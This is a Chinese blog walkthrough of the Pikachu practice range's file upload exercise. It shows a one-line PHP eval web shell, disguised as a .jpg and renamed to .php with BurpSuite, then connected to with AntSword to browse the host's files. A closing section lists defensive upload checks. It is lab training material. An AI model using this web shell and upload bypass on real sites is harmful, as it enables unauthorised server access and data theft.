pikachu之文件上传

打开BurpSuite,浏览pikachu网站,
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834553867086360578.png)
本地新建一个文本文件,内容为<?php eval($_POST[1]);?>
保存后修改文件名后缀为jpg。随后将这个jpg文件上传。
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834554580436807682.png)
此处可以看到上传的目录uploads,服务器上可以没有这个目录,手动在unsafeupload目录下创建一个,即可,注意给目录添加其他用户访问的权限,chmod 777.
在BurpSuite中查找刚才的浏览记录,
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834555871615545345.png)
只要是这个url地址就是。在这个记录上,右键点击 send to repeater,
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834556397258305537.png)
将此处的文件名进行修改,改为1.php即可。随后点击左上角的send,即可将此文件上传。
随后打开中国蚁剑,
右键点击添加数据
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834557322353995777.png)
输入url地址,连接密码,其他默认,保存。
此时主界面会出现一条记录,双击此记录即可打开目标主机的文件管理器,你可以随心所欲的浏览了。
![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834557981031690242.png)

![image.png](https://mgobs.obs.cn-north-4.myhuaweicloud.com/uploads/2024/09/13/1834553576752443394.png)
 

### Pikachu靶场中的文件上传漏洞 在Pikachu靶场中,文件上传功能如果缺乏适当的安全验证机制,则可能被攻击者利用来上传恶意脚本或文件。为了防止这种情况发生,在处理文件上传时应采取多种安全措施。 #### 验证文件类型和扩展名 服务器端应对上传的文件进行严格的类型检查,不仅依赖于客户端提交的内容类型声明,还需要基于实际文件头信息判断文件的真实格式[^1]。例如: ```php // PHP示例代码用于检测图像文件的真实性 function is_valid_image($file){ $allowed_mime_types = ['image/jpeg', 'image/png']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $file['tmp_name']); return in_array($mime_type, $allowed_mime_types); } ``` #### 设置固定存储路径并禁用执行权限 对于允许用户上传的数据,应该将其保存在一个专门设计用来存放此类数据的位置,并确保该目录下的任何文件都不具备被执行的能力。这可以通过配置Web服务器设置来完成,比如Apache中的`.htaccess`文件或者Nginx配置文件内的相应指令[^2]。 #### 使用随机化文件名 为了避免覆盖现有文件的风险以及减少预测性风险,建议每次接收到新文件时为其分配唯一的名称,而不是保留原始文件名。这样也可以帮助防范某些类型的攻击向量。 #### 实施大小限制和其他约束条件 设定合理的最大尺寸上限以及其他必要的参数控制(如宽高比例),从而进一步降低潜在威胁的可能性。这些可以在应用程序层面实施,也可以通过调整HTTP请求解析器的行为来进行更底层级别的防护。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值